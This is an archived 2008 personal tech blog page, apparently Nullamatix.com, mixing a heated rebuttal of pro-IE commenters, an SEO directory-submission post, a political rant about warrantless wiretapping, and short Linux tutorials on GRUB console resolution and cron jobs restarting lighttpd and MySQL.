Jeremy: Yep, I’m only targeting IE. Deal with it. Don’t like it? Fine, don’t visit the site.

Another visitor retorted with some truly original flawed logic.

Blocking IE is the peak of arrogance and this behaviour is actually STOPPING me from switching. If you dislike someone, stooping to their level doesn’t make you cool, it makes you as bad as the person or organisation you dislike.

First of all, WildBill isn’t exaggerating Firefox’s importance in an overbearing manner, so this is at best, a trough of arrogance if that makes any sense. Second, if your life revolves around making decisions based on the behavior of others instead of your own, you’re an easily manipulated sheep. Why wouldn’t you consider the facts, instead? Third, what gave you the impression WildBill was making an attempt at being cool? He clearly explains, “Don’t like it? Fine, don’t visit the site.” Four, WildBill’s decision to implement a script that prevents IE visitors from seeing his content doesn’t compare to the fact that Microsoft refuses to comply with international web development standards. Finally, it’s behavior and organization, not “behaviour” and “organisation.” And the thought provoking comments just keep on coming…

People like you force me to have IE as my default and most trusted browser. Don’t be so stuck up! We get the point.

First, the phrase, “people like you” is a faulty generalization, also known as an inductive fallacy. Your premise is based on an insignificant sample or proportion, automatically rendering your entire statement unsound and logically incorrect. Second, how are these “people” you speak of forcing you “to have IE as” your “default and most trusted browser?” Isn’t that something you’re fully capable of determining on your own? Based on your statement, you sir are also unable to process and interpret information without the influence of others persuading your decision. How sad. Third, if anyone deserves the title of “stuck up!” it’s Microsoft for their dedicated unwillingness to comply with international web development standards, making the lives of web designers around the world miserable as a result. In fact, Microsoft should pay me for the hours of time spent “fixing” compliant code, just so web sites would render properly in Internet Explorer. Finally, no, you don’t get the point. Your illogical reasoning, lack of thought, and sheer ignorance provide enough justification for me to arrive at such a strong and undeniable conclusion. Just when I thought there wasn’t any hope for this discussion, in comes Megaqwerty. Megaqwerty, if you happen to come across this post, please drop in and say hello.

Brett: We care, because IE isn’t standards compliant, so web developers have to do double to work to make their site work. They do the standards compliant code (Firefox, Opera, etc.) and then they have to recode it again to make it work in IE.

It’s a catch 22 situation because on one hand, we want people to be able to see our site, so we do all the extra work to make it work in IE as well. On the other hand, we want to stop having to do all of this extra work just because Microsoft doesn’t want to do their part to make their browser standards compliant. However if we fix our site so it looks fine in IE, the end user will be none the wiser as to the fact that their browser (in my humble opinion) sucks.

So there you have it. This site blocks IE because the admin doesn’t want to do the extra work anymore (and possibly for other reasons as well, but that would be my reason.)

Aaahhh, the refreshing feeling returns. Clarity and reason is presented in a disaster of a discussion, but not for long! Someone with the unique and clever alias “fuckfirefox” had to share his words of enlightenment.

Dont force your shitty browser on me, I should make have chose whatever browser I want without elitist nerds forcing a choice for me. Now that I finished posting this, I can go back to using IE and not visiting your site again. thx

This comment isn’t even worth picking apart. At this point, it’s just humorous. Such hostility and anger, but why? There’s more than one way to see what’s contained on that page. Surely duggmirror caught the site, which would have made the post available to IE users. Since the post was published in 2006, Google probably has a cached version available, which would also make the post available to IE users. How could I forget the post’s Digg page? After checking, sure enough, there are THREE mirrors. My silly browser that takes the name of an animal on fire was able to assist me in exploring the Internet to find those alternative sources. Has Internet Explorer failed you in your Internet exploration? Then try switching to Firefox.

One last observation before I wrap this slam session up. To fuckfirefox, the Internet Explorer patriot who’s threatened by elitist nerds; you linked to a site that encourages the use of Firefox you moron. Read much? Way to get your message across you easily persuaded tool.

Picture: The Importance of a Good Firewall

Guy Patterson — Fri, 15 Feb 2008 16:04:55 +0000

This is what happened when I took down my network’s defenses the other day. Fortunately my Windows machines were patched, or I might have been hit with a nasty remote exploit, or eighty. Click the thumbnail for the larger version.

Those are all incoming connections initiated via Netbios. If you don’t take the time to define static IP’s and explicitly allow incoming & outgoing connections, there’s an excellent chance your home network is being taken advantage of.

A Classic SEO Tactic The Gurus Won’t Reveal

Guy Patterson — Thu, 14 Feb 2008 21:14:45 +0000

Search engine optimization and traffic are topics nearly every webmaster is concerned about. Many resort to social networking sites in an effort to gain exposure, but according to several performance indicators, traffic from these sources performs poorly. Total Adsense earnings from the Digg effect, $0.64. Total Adsense earnings from 8,592 unique stumble visitors, $0.96. This is the result of several conditions: ad placement, ad type, integration/blending, and more; but webmasters across the board agree, social bookmarking sites provide little, if any significant revenue.

Sometimes, Revenue Isn’t Everything

Despite the lack of earnings, landing on the Digg front page resulted in quite a few backlinks from other bloggers, which is extremely beneficial to any search engine optimization campaign. A few months have passed since then, and although the links fail to send a significant amount of visitors, Nullamatix.com’s ratings (authority) have gone up according to a variety of sources. Backlinks, no matter the source, are guaranteed to provide positive results.

Directories: To Submit, or Not To Submit?

The age old question, “are directory submissions beneficial?” The short answer is yes. Old timers and self proclaimed experts refuse to admit the benefits of this controversial practice, but here’s the scoop. Aaron Wall, a very respected name in the industry, submits his blog to some well known paid directories. Here’s a screen shot taken from the Aviva Web Directory, which charges $49.99 a year for a regular listing.

Still not convinced? How about a screen shot from the Best Site Archive directory, which charges $25 a year for a regular listing?

There you have it - three of the Internet’s most respected marketers with paid directory links. But if links from directories aren’t beneficial, why would these Internet marketing elites spend the time and cash submitting their sites? Because directory submissions do work, they just don’t want to share how beneficial this valuable tactic really is.

Directory Submission Tactics

I’ve spoken with Shoemoney on IRC a few times, and each time the conversation was pretty brief. Why? He’s busy, and I seriously doubt he’s allocating his time to filling out directory submission forms. Either his devoted followers are spending their hard earned money and submitting his site(s) (which I seriously doubt), or he’s outsourcing his off page SEO development. The method of execution isn’t really important. The fact is, Internet marketing gurus are using paid directory submissions to establish backlinks and build credibility. So again, directories do provide long term value.

Semi-Automate The Submission Process

If you’re like me, hiring a SEO firm to go around and do something I’m fully capable of doing myself is out of the question. But filling out submission forms gets really old, really fast. That’s why I use Firefox and an excellent time saving free add-on called SEO Form. SEO Form places itself in the the Firefox status bar, and once populated with the necessary info, forms are filled out with a single mouse click. The add-on provides space for 4 titles and 4 descriptions for up to 4 sites. You could easily use all four site tabs for one site, which results in 16 different titles, and 16 different descriptions. This is probably one of the most time saving Firefox add-ons I’ve ever used.

Where To Go From Here

We’ve established that directory submissions do provide long term value, and SEO Form is an excellent tool that provides a significant level of automation, so what now? Start submitting! Search Google for free directory lists; there are literally thousands to choose from. In addition to free directories, choose a few paid directories as well. Make sure the titles and descriptions for any paid directory submissions are unique for optimum results. Paid directories are a worth while investment, so take the time to submit unique information manually.

2nd Darkest Day In American History - Congress Fails Us Again

Guy Patterson — Wed, 13 Feb 2008 03:35:46 +0000

According to WhiteHouser.com, the U.S. congress has just passed a bill that grants immunity to telephone companies should they come to trial for domestic spying. That means warrantless eaves dropping on U.S. citizens is no longer a crime. Not terrorists, not illegal aliens, but United States citizens. Since most of, if not all the Internet is overseen by the telco companies, there’s a 99% guarantee on-line activities are also subject to this unpatriotic, dictator like Nazi garbage. Here’s an excerpt from the WhiteHouser.com post,

In his closing speech on the Senate floor, Chris Dodd brought up September 28, 2007, what he calls the darkest day in the Congressional chamber. If the date doesn’t ring a bell, it was the day that the not-so-honorable Senators voted to deny Habeas Corpus and allow torture to take place at the hands of our agents. Senator Dodd argued that today, February 12, 2008, is a close second, as the action taken today further serves to deny the constitutional safeguards that our founders intended to protect our citizens.

Many argue, “I have nothing to hide, they can look all they want,” but it’s that very attitude that enables the government to continuously remove our rights. According to the illustrious Patriot Act that removed several of our rights a couple years ago, this post is enough for the United States government to deem me an enemy combatant, and ship me off to Guantanamo Bay. How is that even feasible in the mind of a reasonable man born and raised in the United States? I’ve lived in the United States for 19 years, my father is a United States Army veteran, I cried on 9/11 just like the rest of Americans, yet my exercise of free speech is a criminal offense that could potentially revoke my right to a trial by jury?

Can you imagine what some of our founding fathers would say? Thomas Jefferson is one of my personal favorites. Despite what some of the history books might say, he was a very wise man. Here are a few of his words of wisdom:

Educate and inform the whole mass of the people… They are the only sure reliance for the preservation of our liberty.

The media conglomerates that brainwashes U.S. citizens - talk about extreme propaganda, so much that I no longer watch the big news channels. NBC, Fox, CBS, ABC, they’re all ruining this country with their bias, uninformative news. Do yourself a favor and start obtaining news from the Internet before it’s to late.

Experience hath shewn, that even under the best forms of government those entrusted with power have, in time, and by slow operations, perverted it into tyranny.

Not only experience, but history hath shewn, too. Please study the history of the Romans, Hitler, and every other free nation that eventually went sour. The government controls the media, our food, our medicine, our schools, our money, and now - U.S. citizens.

I have sworn upon the alter of God, eternal hostility against every form of tyranny over the mind of man. I hope our wisdom will grow with our power, and teach us, that the less we use our power the greater it will be.

Oh how I wish Thomas Jefferson was alive today…

I predict future happiness for Americans if they can prevent the government from wasting the labors of the people under the pretense of taking care of them.

Are Americans happy today? Are we free of debt, free of tyranny, free of control?

The care of human life and happiness, and not their destruction, is the first and only object of good government.

Iraq? Our poisoned food that’s causing more illness now than ever before? And my personal favorite…

When the people fear their government, there is tyranny; when the government fears the people, there is liberty.

French citizens obtained free health care by demanding it. They took the streets, made the government listen, and they did. When the government responded, the citizens subsided, and everything returned to normal. When was the last time something like that happened in the United States? I believe when segregation was abolished - please correct me if I’m wrong.

This post doesn’t coincide with this blog’s niche, and I’ve tried my best to not blog about politics because it doesn’t do anything but piss me off, but when is this oppression going to end? U.S. citizens are getting fatter and lazier, which is exactly what the government wants. Stupid, fat, lazy, uneducated people will never revolt to restore what this once great country was. The land of opportunity, prosperity, freedom, incite, the shining light for the world is now the land of shame. Our currency is losing value (*cough*ROMAN-EMPIRE*cough*), we’re invading foreign countries, killing millions of innocent people, risking the lives of men and women that signed up to serve our country, giving up our freedoms, electing corrupt officials into office, all for the sake of a North American Union.

Here’s something I recently heard that’s worth thinking about. “Every time the Government does something, citizens lose a portion of their freedom.” I’m done ranting now. Hopefully I’ll remain off the government’s shit list so I can continue writing about technology. Share your thoughts below.

Increase The Default Linux Console (Terminal) Resolution

Guy Patterson — Tue, 12 Feb 2008 16:43:54 +0000

If you’re one of the few elite that refuse to run Linux with a window manager, you might have the urge to resize the bloated resolution of the console/terminal sessions. Fortunately, this is a very easy process, but requires restarting, unless there’s some elite command I’m unaware of.

Alright, assuming you’re using the GRUB boot loader, open the menu config file in your favorite text editor.

# vi /boot/grub/menu.lst

Scroll down toward the bottom and look for the line that reads:

## ## End Default Options ##

You’ll see something like this below the line above. This is where your GRUB boot loader menu is configured.

title           Debian GNU/Linux, kernel 2.6.18-5-686

root            (hd0,1)

kernel          /boot/vmlinuz-2.6.18-5-686 root=/dev/hda2 ro

initrd          /boot/initrd.img-2.6.18-5-686

savedefault

At the end of the the third line labeled kernel, add vga=791 to increase the resolution to 1024 x 768. Here’s how the modified menu option should look.

title           Debian GNU/Linux, kernel 2.6.18-5-686

root            (hd0,1)

kernel          /boot/vmlinuz-2.6.18-5-686 root=/dev/hda2 ro vga=791

initrd          /boot/initrd.img-2.6.18-5-686

savedefault

Save the changes, and restart.

# shutdown -r -t 0 now

At the boot menu, select the option you’ve modified (typically the first available choice), and enjoy the new resolution. If you’re unsatisfied with 791, there are a number of alternatives.

Howto: Setup cron Jobs to Restart Lighttpd & MySQL

Guy Patterson — Mon, 11 Feb 2008 13:27:45 +0000

Over the past couple weeks MySQL crashed when spiked with large amounts of traffic. To remedy this, a cron job has been implemented to simply restart mysql and lighttpd every other day. Here’s how it’s done.

First, if you haven’t already, define a cron job editor, like so:

# export EDITOR=vi ;

or…

# export EDITOR=nano ;

The pound symbol obviously represents a root prompt. Now that the editor is defined, there are a couple commands you should make yourself aware of.

crontab -e

Edit or create a crontab file if one doesn’t yet exist

crontab -l

Lists the contents of a crontab file

crontab -r

Take a wild guess! Removes a crontab file

Crontab files are laid out in the following format:

min hour day of month month day of week command

Here’s how to restart lighttpd each day at 8:30 PM

30 20 * * * /etc/init.d/lighttpd restart

To implement this cron job, simply type the following:

crontab -e

and insert the line above, then save your changes. Congratulations! You’ve successfully implemented a cron job. Here’s the line that restarts MySQL every other day at 11:00 PM.

0 23 * * 1,3,5 /etc/init.d/mysql restart

Crontab is a great way to automate a lot of tasks. You could easily configure cron jobs to perform system updates every week, update statistical software like awstats, purge setup files, purge temp files, and more.

What sort of tasks do you automate?

Nullamatix - Technology Made Simple

2HOST $5 512MB Ram Xen VPS (LowEndBox)

More From Nullamatix.com:

Sony’s CEO, Michael Lynton, Is a Moron

More From Nullamatix.com:

IPTables Drop Log For 05.12.09

More From Nullamatix.com:

Chaos in The Enterprise - RIP Poisoning 101

More From Nullamatix.com:

Rackmount Hammock - Server Room Accessory

More From Nullamatix.com:

ob_start create_function return str_repeat rand

More From Nullamatix.com:

Flow Control Platform (FCP) is Pissing Me Off

April 24th 2009 - 00:00:01

April 24th 2009 - 00:00:08

April 24th 2009 - 00:00:29

April 24th 2009 - 00:01:07

April 24th 2009 - 00:01:28

April 24th 2009 - 00:02:02

April 24th 2009 - 00:02:19

More From Nullamatix.com:

New Page: Interesting Server Logs

More From Nullamatix.com:

Free Data Sources For Madlib Sites

Government Data

Wikidumps

GeoNames - Country Dumps

The Obvious: Google

Oddity Software

myDataMaster.com

More From Nullamatix.com:

I Have Candy, Get in The Van.

First Up: Security

Development

Linux Related

More From Nullamatix.com:

DR Exercise: Rebuilding The Enterprise - Days 1 & 2

Sunday, 14:36: Arrived at Recovery Site

Monday, 05:30: Begin Day 2

Day 2 Finally Comes to an End

More From Nullamatix.com:

eBay: Auctions Listing Digital Items Violate Our Policy

The Policy is Already in Effect

And it’s Not Just eBooks

Don’t Start Job Hunting Just Yet

More From Nullamatix.com:

New Page - Submit Your Helpful Tools

More From Nullamatix.com:

My Thoughts on Affiliate Marketing & PPC Advertising

Stop Buying & Reading E-Books

Affiliate Marketers Are Not Your Friends

Affiliate Marketing as a Day Job

“Get Out There and HIT SOMEBODY!”

More From Nullamatix.com:

eBay is Leaving Commission Junction - Poor Mans BANS Updates Required

New eBay Affiliate Benefits

Get Started Now

Eggs In One Basket…

Poor Mans BANS Goes BIG

More From Nullamatix.com:

BitTorrent For The Enterprise is Worth Considering

Fewer Servers and Faster Distribution

More From Nullamatix.com:

A Shopping Cart Solution Worth Investing In

The Features Seem Endless

More From Nullamatix.com:

Ever Considered Doing This For Your PPC Campaigns?

A Simple Text Ad Example

The Tricky Part - Keywords

More From Nullamatix.com:

Automated Adsense Privacy Policy Deployment Guide

More From Nullamatix.com:

Nullamatix Feburary Traffic Statistics & Other Misc Info

Visitors, Pageviews Numbers

Top 5 Referring Sites

Top 5 Referring Search Engines

The Earnings (Revenue)

Some Other Misc Stuff

More From Nullamatix.com: